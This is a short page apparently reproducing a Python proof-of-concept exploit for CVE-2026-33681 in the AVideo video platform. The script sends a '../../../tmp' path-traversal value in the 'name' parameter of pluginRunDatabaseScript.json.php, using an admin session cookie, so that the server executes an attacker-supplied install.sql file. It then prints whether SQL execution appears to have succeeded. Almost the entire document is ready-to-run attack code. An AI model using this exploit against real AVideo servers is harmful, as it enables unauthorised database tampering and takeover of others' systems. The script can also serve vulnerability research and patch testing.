CVE-2026-33681 AVideo路径遍历致SQL执行漏洞

import requests # Exploit Title: AVideo Platform Path Traversal to SQL Execution # Description: PoC for CVE-2026-33681 # Note: Requires Admin credentials or valid session cookie def exploit(target_url, session_cookie, traversal_path): """ Attempts to execute an install.sql file from a traversed path. :param target_url: Base URL of the AVideo instance (e.g., http://localhost) :param session_cookie: Valid PHPSESSID for an admin user :param traversal_path: Path traversal sequence (e.g., '../../../tmp') """ url = f"{target_url}/objects/pluginRunDatabaseScript.json.php" # The 'name' parameter is vulnerable to path traversal # The application appends '/install/install.sql' to the provided name payload = { "name": traversal_path } headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") # Check for SQL execution success indicators (depends on app feedback) if "error" not in response.text.lower(): print("[+] Potential SQL execution successful.") else: print("[-] Server returned an error.") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://avideo-example.com" # Assume attacker uploaded a malicious install.sql to /tmp via another method # Traversal path points to /tmp so it reads /tmp/install/install.sql path = "../../../tmp" cookie = "valid_admin_session_id_here" exploit(target, cookie, path)